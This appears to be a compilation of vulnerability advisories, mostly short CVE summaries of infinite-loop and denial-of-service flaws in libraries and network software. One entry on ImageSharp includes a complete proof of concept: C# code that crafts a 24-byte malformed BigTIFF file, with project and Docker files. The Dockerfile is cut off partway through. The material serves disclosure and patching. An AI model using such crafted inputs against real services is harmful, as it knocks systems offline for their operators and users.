CVE-2026-102046 is a high-severity vulnerability in Juniper Networks Junos OS affecting MX Series devices. It involves an infinite loop in the netsctp.ko kernel module triggered by crafted SCTP network traffic. This flaw allows an unauthenticated remote attacker to cause a denial of service by making the device enter an unreachable loop state. The vulnerability affects multiple Junos OS versions prior to specific patch releases. No known exploits are reported in the wild as of the publication date.
CVE-2026-109941 is an infinite loop vulnerability in FreeRDP versions 2.3.0 before 3.32.0. It occurs in the http_chunked_read function, where malicious RD Gateways can send incomplete chunked HTTP responses that cause the client to hang by looping indefinitely on zero-byte reads. This results in the client decoder thread freezing and denial of service.
A resource consumption vulnerability exists in Borewit's music-metadata library prior to version 11.16.0. The flaw occurs in the MP4 stsd sample-description parser where an attacker can craft an MP4 input with a zero sample-entry size and a controlled entry_count, causing an infinite synchronous loop. This leads to blocking the Node.js event loop and potentially exhausting system memory. The issue was introduced after version 11.14.0 and fixed in version 11.16.0.
Inefficient algorithmic complexity and a non-terminating loop in the MIME processing of received messages in Progressive Robot hMailServer 6.0.0 through 6.3.5 allow a remote unauthenticated attacker to make the mail services unavailable by sending a message. Removing a MIME header parameter whose value is empty and directly followed by a semicolon (for example a Content-Disposition with 'filename=a.bat; filename=;') entered a loop that never terminates, holding a worker thread at full load until the server is restarted; this is reached when the attachment blocker renames a blocked attachment or a filename is set over the REST API. Separately, decoding a header field that holds many RFC 2047 encoded words of an encoding other than base64 or quoted-printable, removing a parameter with many RFC 2231 continuations, and deleting many header fields of one name each took time growing with the square of the message, on the small thread pools that serve IMAP, SMTP and POP3 connections, delivery and the REST API.
CVE-2026-106164 is a high-severity vulnerability in Progress Telerik Document Processing SpreadProcessing library versions from 2026.3.811 up to but not including 2026.3.1006. It involves an infinite loop triggered by importing a specially crafted corrupted XLS file, which causes the import timeout to be ignored and results in an unresponsive CPU thread leading to denial of service.
CVE-2026-106121 is an infinite loop vulnerability in the rabbitmq-java-client library's JSONReader component. When parsing JSON input that ends inside a quoted string or a line comment, the parser loops indefinitely. This can cause either an OutOfMemoryError by filling the heap or a thread pinned at 100% CPU, resulting in denial of service. The issue affects applications using the JSON-RPC-over-AMQP tooling with the default DefaultJsonRpcMapper. The vulnerability is triggered by a single unauthenticated message and impacts availability of the JSON-RPC endpoint.
A vulnerability in sssd allows a local user to cause a Denial of Service (DoS) by exhausting the responder service's file descriptors. This is done by opening many concurrent connections to a responder socket, triggering an unthrottled retry loop that leads to high CPU usage and service stalls. The issue prevents legitimate identity and authentication requests from being processed. The CVSS score is 4.7, indicating medium severity. Multiple specific versions of sssd are affected as listed. No known exploits are reported in the wild, and no patch information is provided in the source data.
### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >
CVE-2026-86537 is a high-severity vulnerability in Apache Thrift's D language bindings affecting versions before 0.25.0. It involves an uncaught exception, an infinite loop due to an unreachable exit condition, and an integer underflow (wraparound). The issue is fixed in version 0.25.0, and users are advised to upgrade to this version to mitigate the risk.
CVE-2026-86535 is a high-severity vulnerability in Apache Thrift NodeJS bindings involving an infinite loop caused by a loop with an unreachable exit condition and prototype pollution. This affects versions before 0.25.0. The issue is fixed in version 0.25.0, and users are advised to upgrade.
Loop with unreachable exit condition ('infinite loop') vulnerability in Apache Thrift c_glib bindings.
This issue affects Apache Thrift: before 0.25.0.
Users are recommended to upgrade to version 0.25.0, which fixes the issue.
Loop with unreachable exit condition ('infinite loop') vulnerability in Apache Thrift python bindings.
This issue affects Apache Thrift: before 0.25.0.
Users are recommended to upgrade to version 0.25.0, which fixes the issue.
CVE-2026-93925 is a high-severity stack-based buffer overflow vulnerability in the Apache Thrift C++ THeaderProtocol caused by an incorrect bitwise shift of an integer. This flaw affects Apache Thrift versions before 0.25.0. The issue has been fixed in version 0.25.0, and users are advised to upgrade to this version to mitigate the risk.
CVE-2026-63575 is a high-severity vulnerability in Legion of the Bouncy Castle Inc.'s bc-csharp library before version 2.7.0. It involves an infinite loop in the PKCS#12 key derivation process (Pkcs12ParametersGenerator) triggered by an iteration count of zero or below. An attacker supplying a crafted PKCS#12 (PFX) file or PKCS#8 encrypted private key with a negative or zero iteration count can cause CPU exhaustion, resulting in a denial of service. The loop counter wraps around causing approximately 2^32 iterations before the password or MAC is checked, significantly delaying processing. This affects versions from 0 up to but not including 2.7.0.
CVE-2026-63570 is a high-severity vulnerability in Legion of the Bouncy Castle Inc.'s bc-csharp library before version 2.7.0. It involves an infinite loop in the Pkcs12Store.GetCertificateChain method when processing crafted PKCS#12 files containing certificate chains with cyclic issuer links. This causes a denial of service by consuming CPU and memory until an OutOfMemoryException occurs.
figlet.js versions prior to 1.11.3 contain a vulnerability where the text() and textSync() functions can enter an infinite loop if the whitespaceBreak option is enabled and the specified width is smaller than the width of a single FIGlet character. This occurs because the breakWord() function fails to find a valid break point and does not consume any input, causing generateFigTextLines() to repeatedly process the same input, leading to high CPU usage and memory growth. This issue is resolved in version 1.11.3.
Improper Verification of Source of a Communication Channel in the ADS discovery of the Go implementation of Apache PLC4X (PLC4Go) allows an attacker able to send UDP datagrams to the discovering host to redirect subsequent connections to an arbitrary, attacker-chosen address. The discovery result's connection
address was derived from the AmsNetId claimed in the response body rather than from the datagram's actual source address. One spoofed discovery response can therefore insert an inventory entry pointing at any host, including hosts outside the local network, and an application that connects to discovered devices
will open its ADS session, including any configured route credentials, to that host.
Additionally, discovery listeners in both implementations can be disabled by a single malformed datagram:
- In PLC4Go ADS discovery, a short version block causes a panic that ends the listener for the rest of the discovery call, so legitimate devices answering afterwards are not reported.
- In PLC4J, the ADS and EtherNet/IP discoverers stop on an unhandled exception from a malformed response.
- The PLC4J Modbus discoverer can be made to spin indefinitely, consuming a CPU core, by a scanned host that sends a partial response.
Exploitation requires the application to invoke the discovery API, which is opt-in, and for the connection redirect, to act on the discovered items.
This issue affects Apache PLC4X: PLC4Go from 0.11.0 before 1.0.0; PLC4J ADS and Modbus drivers from 0.10.0 before 1.0.0; PLC4J EtherNet/IP driver from 0.11.0 before 1.0.0. PLC4Go is consumed as the Go module github.com/apache/plc4x/plc4go; versions refer to the corresponding Apache PLC4X releases.
Users are recommended to upgrade to version 1.0.0, which fixes the issue. Version 1.0.0 derives the connection address from the datagram's source address and logs a warning when the claimed AmsNetId disagrees with it.
CVE-2026-102726 is a high-severity vulnerability in Eclipse ThreadX NetX Duo versions 6.0 through 6.5.2.202603a. The PPP IPCP code improperly parses Configure-Nak options without validating their length, allowing a malicious PPP peer to stall the PPP thread indefinitely and read up to four bytes of packet-buffer memory per exchange.
CVE-2026-102714 is a high-severity vulnerability in Eclipse ThreadX NetX Duo up to version 6.5.2.202603 when built with IPv6. It involves an out-of-bounds read caused by improper validation of ICMPv6 options, allowing a local host to send crafted messages that cause the IP thread to read beyond packet boundaries or loop indefinitely. This can lead to memory corruption in the neighbor cache.